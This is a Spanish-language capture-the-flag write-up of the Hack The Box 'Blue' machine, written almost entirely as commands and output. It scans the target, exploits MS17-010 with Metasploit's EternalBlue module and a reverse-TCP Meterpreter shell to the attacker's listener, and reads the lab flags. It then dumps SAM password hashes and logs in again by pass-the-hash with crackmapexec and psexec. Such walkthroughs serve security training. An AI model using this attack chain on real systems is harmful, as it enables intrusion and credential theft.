HackTheBox
Blue - Hack The Box
❯ ping -c 1 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=96.1 ms
--- 10.10.10.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.085/96.085/96.085/0.000 ms
❯ whichSystem.py 10.10.10.40
10.10.10.40 (ttl -> 127): Windows
PortScan
❯ nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-27 17:01 CST
Nmap scan report for 10.10.10.40
Host is up (0.095s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-06-28T00:02:15+01:00
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
|_clock-skew: mean: -20m02s, deviation: 34m37s, median: -3s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-06-27T23:02:19
|_ start_date: 2023-06-27T08:15:31
Enumeracion
Pues bueno mediante Nmap podemos aplicar un script para que nos reporte si es vulnerable a esta vulnerabilidad
❯ nmap -p 445 --script "vuln and safe" 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-27 17:07 CST
Nmap scan report for 10.10.10.40
Host is up (0.096s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 16.34 seconds
Con crackmapexec vemos que efectivamente estamos ante un Windows 7
❯ crackmapexec smb 10.10.10.40
SMB 10.10.10.40 445 HARIS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
Shell NT Authority\System
Ahora nos vamos a ejecutar Metasploit
❯ msfconsole
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=[ metasploit v6.3.5-dev ]
+ -- --=[ 2296 exploits - 1202 auxiliary - 410 post ]
+ -- --=[ 965 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Set the current module's RHOSTS with
database values using hosts -R or services
-R
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >>
Ahora vamos a decirle el exploit que queremos usar
[msf](Jobs:0 Agents:0) >> use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>
Ahora vamos a pasarle los argumentos que nos pide que una de ellos es la ip de la maquina victima
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Ser
ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server
2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
indows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.255.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set rhosts 10.10.10.40
rhosts => 10.10.10.40
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set lhost tun0
lhost => 10.10.14.12
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>
Ahora como esta vulnerabilidad te da privilegios maximos cuando corramos el exploit vamos a obtener una sesion de meterpreter
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.40:49158) at 2023-06-27 17:16:47 -0600
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 1)(C:\Windows\system32) >
Para obtener una cmd solo hacemos esto
(Meterpreter 1)(C:\Windows\system32) > shell
Process 2472 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
User.txt
C:\Users\haris\Desktop>type user.txt
type user.txt
54c667afb359782634011adaab1de2e0
C:\Users\haris\Desktop>
Root.txt
C:\Users\Administrator\Desktop>type root.txt
type root.txt
012ecff6cf8ab60a656cd7810f7682d2
C:\Users\Administrator\Desktop>
SAM
Como estamos como el usuario con maximos privilegios podemos dumpear la SAM para obtener los hashes de todos los usuarios y usar psexec para conectarnos aplicando un passthehash
(Meterpreter 1)(C:\Windows\system32) > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
haris:1000:aad3b435b51404eeaad3b435b51404ee:8002bc89de91f6b52d518bde69202dc6:::
(Meterpreter 1)(C:\Windows\system32) >
Ahora con crackmapexec podemos comprobar que es correcto el del usuario Administrator
❯ crackmapexec smb 10.10.10.40 -u Administrator -H cdf51b162460b7d5bc898f493751a0cc
SMB 10.10.10.40 445 HARIS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
SMB 10.10.10.40 445 HARIS-PC [+] haris-PC\Administrator:cdf51b162460b7d5bc898f493751a0cc (Pwn3d!)
Ahora hay que agregar el nombre del dominio al /etc/hosts
❯ cat /etc/hosts | tail -n 1
10.10.10.40 haris-PC.htb
Y listo
❯ psexec.py WORKGROUP/Administrator@10.10.10.40 -hashes :cdf51b162460b7d5bc898f493751a0cc
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on 10.10.10.40.....
[*] Found writable share ADMIN$
[*] Uploading file zDRQfQfc.exe
[*] Opening SVCManager on 10.10.10.40.....
[*] Creating service AguJ on 10.10.10.40.....
[*] Starting service AguJ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>